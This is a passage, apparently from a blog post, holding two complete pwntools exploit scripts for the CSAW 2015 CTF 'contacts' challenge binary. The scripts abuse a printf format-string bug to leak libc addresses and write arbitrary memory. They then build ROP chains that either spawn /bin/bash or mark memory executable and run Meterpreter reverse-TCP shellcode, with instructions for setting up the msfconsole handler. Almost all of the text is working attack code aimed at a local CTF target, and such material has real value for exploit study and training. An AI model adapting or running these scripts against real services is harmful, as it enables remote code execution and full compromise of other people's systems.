			fmt = byte
		createContact("writedata" + str(i), "%0" + str(fmt) + "x%30$hhn")
		displayContact()
		deleteContact("writedata" + str(i))
	log.info("Finished Writing " + description)
 
###################################################
# Main Program code.
###################################################
# 6$ => 18$ => $30; parameters that point to each other
 
###### Connect to host and read in menu ######
conn = remote(HOST, PORT)
conn.recvuntil('>>> ')
 
###### Uncomment this line for debugging level logging ######
#context.log_level = "debug"
 
###### Have pwntools open the binary so it can analyse it ######
elf=ELF('./contacts_54f3188f64e548565bc1b87d7aa07427')
 
###### Create a pwntool DynElf with our leak() function and elf ######
d = DynELF(leak, elf=elf)
 
###### Create a pwntool ROP Class ######
rop = ROP(elf)
 
###### Have the DynELF look up the address of system() of remote system ######
system = d.lookup('system', 'libc')
log.info("system is @ " + hex(system))
 
###### Build a ROP chain that is a simple call to system(.bss+0x500) ######
rop.call(system, [elf.bss(0x500)])
 
###### At .bss+0x500, Write the string "/bin/bash" for system() ######
writeAnythingAnywhere(elf.bss(0x500), "/bin/bash", "/bin/bash string")
 
###### Put our ROP chain on the stack ######
writeAnythingAnywhere(getP18Ptr() + 4, rop.chain(), "System ROP Chain")
 
###### Invoke exit at menu to trigger the ROP chain ######
conn.sendline("5")
 
###### Enjoy the fruits of your labor ######
log.info("Enjoy Your Shell! ;-)")
conn.interactive()
 
###### Close the connection ######
conn.close()


CSAW 2015 CTF contacts Exploit 2: pwn_contacts-any_payload.py

pwn_contacts-any_payload.py was written by Travis Phillips for the CSAW 2015 CTF challenge "contacts". This script will exploit the included contacts program using the printf bug like pwn_contacts.py did, except it will allow execution of a raw payload instead of calling system(/bin/bash).

#!/usr/bin/env python
########################################################################
#
# Program: pwn_contacts-any_payload.py
#
# Date: 10/22/2016
#
# Author: Travis Phillips
#
# Purpose: This script is an exploit for the CSAW 2015 CTF binary 
#          "contacts". This program had a printf bug that could be
#          exploited over and over again. As a result it is possible
#          to use this as a memory leaker and write-anything-anywhere
#          primative to create an RCE condition.
#
#          This script uses pwntools for memory leaker to locate the
#          read() and mprotect() functions in the libc library and for
#          the creation of ROP chain which is basically: 
#                - mprotect(.bss page, 0x1000, rwx)
#                - Read(STDIN, .bss+0x500, sizeof(payload))
#                - RET .bss+0x500
#
#          This allows us to write a payload into RWX memory and run it.
#
########################################################################
from sys import exit
try:
	from pwn import *
except ImportError as e:
	print("\n\033[31;1m [*]ERROR:\033[0m This script requires pwntools!")
	print("           Please install it to use this script\n")
	exit(1)
 
####### Host and Port to connect to #######
HOST = '127.0.0.1'
PORT = 3333
 
# Payload, Feel free to change it for your need but this one was created with:
# ./msfvenom -p linux/x86/meterpreter/reverse_tcp -f python LHOST=127.0.0.1 LPORT=4444
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"
 
##############################
# To setup msfconsole:
#
# use exploit/multi/handler
# set PAYLOAD linux/x86/meterpreter/reverse_tcp
# set LHOST 127.0.0.1
# set LPORT 4444
# exploit
###############################
 
###################################################
# Functions to manpulate contacts.
###################################################
def createContact(name, description):
	conn.sendline("1")
	conn.recvuntil("Name: ")
	conn.sendline(name)
	conn.recvuntil("Enter Phone No: ")
	conn.sendline("1111")
	conn.recvuntil("Length of description: ")
	conn.sendline(str(len(description) + 1))
	conn.recvuntil("Enter description:\n\t\t")
	conn.sendline(description)
	conn.recvuntil('>>> ')
 
def deleteContact(name):
	conn.sendline("2")
	conn.recvuntil("Name to remove? ")
	conn.sendline(name)
	conn.recvuntil('>>> ')
 
def displayContact():
	conn.sendline("4")
	conn.recvuntil("Description: ")
	buf = conn.recvuntil("\nMenu:")
	conn.recvuntil('>>> ')
	return buf.replace("\nMenu:", "")
 
###################################################
# Get/Set pointers functions.
###################################################
def getP18Ptr():
	createContact("GetP18Ptr", "%18$08x")
	data = displayContact()
	deleteContact("GetP18Ptr")
	return int(data, 16)
 
def getP30Ptr():
	createContact("GetP30Ptr", "%30$08x")
	data = displayContact()
	deleteContact("GetP30Ptr")
	return int(data, 16)
 
def setP30Ptr(address):
	addr = address
	p18 = getP18Ptr()
	for i in xrange(0,2):
		# Update ptr in p18 to point to one byte of
		byte = int(hex(p18+i*2)[-2:], 16)
		if byte < 8:
			data = byte + 256
		else:
			data = byte
		createContact("setP18-" + str(i), "%0" + str(data) + "x%6$hhn")
		displayContact()
		deleteContact("setP18-" + str(i))
 
		# update byte in p30 pointer
		if i == 0:
			byte = int(hex(addr & 0xffff),16)
		else:
			byte = int(hex(addr >> 16),16)
		createContact("setP30-" + str(i), "%0" + str(byte) + "x%18$hn")
		displayContact()
		deleteContact("setP30-" + str(i))
	# Restore p18
	byte = int(hex(p18)[-2:], 16)
	if byte < 8:
		data = byte + 256
	else:
		data = byte
	createContact("RestoreP18", "%0" + str(data) + "x%6$hhn")
	displayContact()
	deleteContact("RestoreP18")
 
###################################################
# Leaker function for pwntool's DynELF() function
# lookup class.
###################################################
def leak(address):
	setP30Ptr(address)
	createContact("LeakData", "%30$s")
	data = displayContact()
	deleteContact("LeakData")
	if len(data) == 0:
		data = "\x00"
	return data
 
###################################################
# A general purpose writeAnythingAnywhere function
# that will chain the needed functions together
# to write whatever we want somewhere.
###################################################
def writeAnythingAnywhere(address, data, description):
	log.info("Writing " + description + " to " + hex(address))
	for i in xrange(0, len(data)):
		setP30Ptr(address + i)
		byte = ord(data[i])
		if byte < 8:
			fmt = byte + 256
		else:
			fmt = byte
		createContact("writedata" + str(i), "%0" + str(fmt) + "x%30$hhn")
		displayContact()
		deleteContact("writedata" + str(i))
	log.info("Finished Writing " + description)
 
 
###################################################
# Main Program code.
###################################################
# 6$ => 18$ => $30; parameters that point to each other
 
###### Connect to host and read in menu ######
conn = remote(HOST, PORT)
conn.recvuntil('>>> ')
 
###### Uncomment These two lines for to break on connection ######
#log.info("Attach debugger and hit enter...")
#raw_input()
 
###### Uncomment this line for debugging level logging ######
#context.log_level = "debug"
 
 
###### Have pwntools open the binary so it can analyse it ######
elf=ELF('./contacts_54f3188f64e548565bc1b87d7aa07427')
 
###### Create a pwntool DynElf with our leak() function and elf ######
d = DynELF(leak, elf=elf)
 
###### Create a pwntool ROP Class ######
rop = ROP(elf)
 
###### Have the DynELF look up the address of read() of remote system ######
read = d.lookup('read', 'libc')
log.info("read is @ " + hex(read))
 
###### Have the DynELF look up the address of mprotect() of remote system ######
mprotect = d.lookup('mprotect', 'libc')
log.info("mprotect is @ " + hex(mprotect))
 
###### Build the ROP chain ######
rop.call(mprotect, (0x0804b000, 0x1000, 7))
rop.call(read, [0, elf.bss(0x500), len(shellcode)])
rop.call(elf.bss(0x500))
 
###### Put our ROP chain on the stack ######
writeAnythingAnywhere(getP18Ptr() + 4, rop.chain(), "ROP Chain")
 
###### Invoke exit at menu to trigger the ROP chain ######
conn.sendline("5")
 
###### If the ROP chain executed, read() should be waiting for payload. Send it ######
log.info("Sending Payload")
conn.send(shellcode)
 
###### Payload handled by MSFconsole. Disconnect. #######
conn.close()